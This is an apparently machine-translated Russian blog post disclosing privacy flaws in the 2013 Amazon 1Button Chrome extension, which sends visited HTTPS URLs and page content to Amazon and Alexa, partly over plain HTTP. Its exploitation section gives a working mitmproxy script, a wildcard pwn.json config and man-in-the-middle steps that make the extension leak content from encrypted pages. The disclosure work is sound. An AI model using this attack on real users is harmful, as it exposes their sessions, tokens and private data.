tldr: Небезопасные надстройки браузера могут утечь весь ваш зашифрованный трафик SSL, включая эксплойты.
Итак, Сноуден выпустил кошку из сумки. Они слушают — новости настолько велики, что федералы больше не приветствуются в DEFCON. Но давайте все будем честными — кто не любит заглядывать в чужие секреты? Мы все знаем, как настроить мошенническую точку доступа и использовать ettercap. Создание собственной стены овец тривиально . Я думаю, что мы можем с уверенностью предположить — трафик в виде открытого текста очень легко подслушивать и изменять .
Реальная сделка, однако, заключается в зашифрованном трафике. В мире браузера это означает, что все сочные вещи отправляются через HTTPS . Хотя перехват HTTPS-соединений возможен, мы можем сделать это только через:
- взлом CA
- социальная инженерия (установить сертификат)
- полагаться на синдром кликов для предупреждений SSL
Слишком сложно. Давайте попробуем несколько побочных каналов. Позвольте мне показать вам, как вы можете просматривать все данные , зашифрованные с помощью SSL , с помощью приложения Amazon 1Button, установленного в браузерах ваших жертв.
ИНФОРМАЦИЯ О РАСШИРЕНИИ
Версия: 3.2013.627.0
Обновлено: 28 июня 2013 г.
AMAZON ЗАБОТАЕТ О ВАШЕЙ КОНФИДЕНЦИАЛЬНОСТИ … НЕ
Во-первых, немного информации о том, как это нарушает вашу конфиденциальность, если вы уже используете его (tldr; удалите СЕЙЧАС!). Происходит несколько интересных вещей (все они не требуют взаимодействия с пользователем и основаны на настройках по умолчанию):
Он сообщает Amazon каждый URL, который вы посещаете, даже HTTPS.
GET /gp/bit/apps/web/SIA/scraper?url=https://gist.github.com/ HTTP/1.1 Host: www.amazon.com Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 Referer: https://gist.github.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8,pl;q=0.6 Cookie: lots-of-amazon-cookies
К сожалению, этот запрос идет по HTTPS, поэтому только Amazon может знать ваши URL. Возможно, вы захотите взглянуть на версию расширения Firefox (подсказка, подсказка).
Это против того, что они утверждают в своей Политике конфиденциальности :
Amazon Browser Apps также может собирать информацию о веб-сайтах, которые вы просматриваете,
но эта информация не связана с вашей учетной записью Amazon или не идентифицирована с вами.
Ну, запрос на https://www.amazon.com/gp/bit/apps/web/SIA/scraper?url=https://gist.github.com/ отправляет много моих файлов cookie Amazon, не так ли? ? Но это только начало.
Amazon XSS-es каждый посещаемый вами сайт
Так называемая особенность расширения SIA заключается в следующем:
// main.js in extension code chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) { if (siaEnabled && changeInfo.status === 'complete') { Logger.log('Injecting SIA'); storage.get('options.ubp_root', function(options_root) { var root = options_root['options.ubp_root'] chrome.tabs.executeScript(null, { code: "(function() { var s = document.createElement('script'); s.src = \"" + root + "/gp/bit/apps/web/SIA/scraper?url=\" + document.location.href; document.body.appendChild(s);}());" }); }); } });
Таким образом, он прикрепляет внешний <script> на любом веб-сайте, и его код может быть привязан к точному URL-адресу страницы. Честно говоря, в настоящее время скрипт для всех протестированных сайтов является просто безвредной функцией.
HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Jul 2013 11:14:34 GMT Content-Type: text/javascript; charset=UTF-8 ... (function(window,document){})(window,document);
Так что это похоже на то, как ниндзя отправляется в каждый дом, который просто ждет дальнейших заказов. / мне все равно это не нравится. Кто знает, какие сайты модифицируются, может, это зависит от вашего местоположения, Amazon ID и т. Д.
Он сообщает содержание определенных веб-сайтов, которые вы посещаете в Alexa
Да, не только URL. Например, ваш поиск в Google по HTTPS, и несколько первых результатов теперь известны и Алексе.
POST http://widgets.alexa.com/traffic/rankr/?ref=https%3A%2F%2Fwww.google.pl%2Fsearch%3F...t%2526q%253Dhow%252Bto%252Boverthrow%252Ba%252Bgovernment... HTTP/1.1 Host: widgets.alexa.com Proxy-Connection: keep-alive Content-Length: 662 accept: application/xml Origin: chrome-extension://pbjikboenpfhbbejgkoklgkhjpfogcam User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 Content-Type: text/plain; charset=UTF-8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8,pl;q=0.6 Cookie: aid=JRDTh1rpFM00ES http://rense.com/general50/hwt.htm http://en.wikipedia.org/wiki/Coup_d'%C3%A9tat http://www.law.cornell.edu/uscode/text/18/2385 http://www.thefreedictionary.com/overthrow http://io9.com/5574009/how-to-overthrow-the-government-tips-from-10-science-fiction-revolutionaries http://williamblum.org/essays/read/overthrowing-other-peoples-governments-the-master-list http://www.telegraph.co.uk/news/worldnews/northamerica/usa/9504380/US-soldiers-plotted-to-overthrow-government.html http://ariannaonline.huffingtonpost.com/books/overthrow/ http://www.amazon.com/How-Overthrow-Government-Arianna-Huffington/dp/B000C4SYPC http://codes.lp.findlaw.com/uscode/18/I/115/2385
Вот примерный поиск Google и просмотр того, что было отправлено через прокси.
Обратите внимание на то, что URL-адрес и извлеченная информация о странице передаются по HTTP- адресу. Таким образом, злоумышленники могут получить доступ к информации, которую расширение настроено для отправки в Alexa.
Итог — Амазонка это зло.
AMAZON, ВЫ ПРОСТО …. ТОЛЬКО ?!
Однако реальная проблема заключается в том, что злоумышленники могут активно использовать описанные функции расширения для кражи вашей информации, например, для получения доступа к URL-адресам HTTPS и содержимому страницы. Расширение динамически настраивается путем извлечения информации из Amazon. А именно, после установки (а затем периодически) он запрашивает и обрабатывает два файла конфигурации. Примерный конфиг представлен ниже:
// httpsdatalist.dat [ "https:[/]{2}(www[0-9]?|encrypted)[.](l.)?google[.].*[/]" ]
// search_conf.js { "google" : { "urlexp" : "http(s)?:\\/\\/www\\.google\\..*\\/.*[?#&]q=([^&]+)", "rankometer" : { "url" :"http(s)?:\\/\\/(www(|[0-9])|encrypted)\\.(|l\\.)google\\..*\\/", "reload": true, "xpath" : { "block": [ "//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]", "//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]", "//div/ol/li[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'g', ' ' ) ) ]" ], "insert" : [ "./div/div/div/cite", "./div/div[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'kv', ' ' ) ) ]/cite", "./div/div/div/div[ contains( concat( ' ', normalize-space(@class), ' ' ),concat( ' ', 'kv', ' ' ) ) ]/cite" ], "target" : [ "./div/h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href", "./h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href", "./div/h3[ contains( concat( ' ', normalize-space(@class), ' '), ' r ')]/descendant::a/@href" ] } }, ... }, ...
Первый файл определяет, какие HTTPS-сайты можно проверять. Второй файл определяет шаблоны URL, которые нужно отслеживать, и выражения XPath для извлечения контента, о котором сообщается в Alexa. Файлы извлекаются из этих URL:
- http://www.amazon.com/gp/bit/toolbar/3.0/toolbar/httpsdatalist.dat
- http://www.amazon.com/gp/bit/toolbar/3.0/toolbar/search_conf.js
Да. Конфигурация для сообщения о крайне закрытых данных отправляется через открытый текст HTTP . WTF, Амазонка?
EXPLOITATION
Использовать это очень просто:
- Настройте / смоделируйте HTTP man-in-the-middle
- Прослушивать HTTP-запросы для вышеуказанных файлов конфигурации
- Ответ с подстановочной конфигурацией (прослушать все https: // сайты и извлечь все тело)
- Записывайте все HTTP-запросы подзапроса в Alexa, собирая ранее зашифрованные клиентские веб-страницы.
Для демонстрации я создал скрипт mitmproxy, который преобразует расширение Amazon 1Button Chrome в прозрачный HTTPS-> HTTP-прокси для бедного человека .
#!/usr/bin/env python def start(sc): sc.log("Amazon One Click pwner started") def response(sc, f): if f.request.path.startswith('/gp/bit/toolbar/3.0/toolbar/search_conf.js'): f.response.decode() # removes gzip header f.response.content = open('pwn.json','r').read() elif f.request.path.startswith('/gp/bit/toolbar/3.0/toolbar/httpsdatalist.dat'): f.response.decode() # removes gzip header f.response.content = '["https://"]' # log'em all def request(sc, f): if f.request.path.startswith('/traffic/rankr/'): q = f.request.get_query() p = q.get_first('ref') if p and f.request.content: c = open('pwn.log', 'a') c.write(p + "\n" + f.request.get_decoded_content() + "\n============\n") c.close()
и бесплатный pwn.json:
{ "pwn" : { "urlexp" : "http(s)?:\\/\\/", "rankometer" : { "url" :"http(s)?:\\/\\/", "reload": true, "xpath" : { "block": [ "//html" ], "insert" : [ "//html" ], "target" : [ "//html" ] } }, "cba" : { "url" :"http(s)?:\\/\\/", "reload": true } } }
Чтобы начать атаку, просто направьте весь трафик HTTP (порт 80) на mitmproxy и запустите скрипт:
$ mitmproxy -s pwn.py
Теперь установите расширение в Chrome (или отключите и включите его для быстрой перезагрузки конфигурации) и начните просмотр. Все захваченные данные HTTPS будут в файле pwn.log.
ОГРАНИЧЕНИЯ
- Мы ограничены выражениями XPath для извлечения контента, поэтому я не могу вернуть обычный источник HTML, не могу получить доступ к заголовкам и т. Д. Самое близкое, что я получил, — это строковое значение узла // html, которое в некоторой степени является содержимым всех текстовых узлов. на странице
- Отслеживание приложений AJAX работает плохо, так как расширение не сообщает XMLHttpRequestresponses
- Мы только пассивно слушаем, нет возможности изменить трафик
Тем не менее, есть много частной информации в захваченном трафике. Токены CSRF, идентификаторы сессий, содержимое электронной почты, содержимое документа на Google Диске, вы называете это имя. Спасибо, Amazon, за защиту моей конфиденциальности. А если серьезно — перенесите весь свой дополнительный трафик только на HTTPS. А еще лучше удалить код отслеживания.
Я провел другие исследования безопасности расширений Google Chrome , читайте больше, если вы нашли эту тему интересной.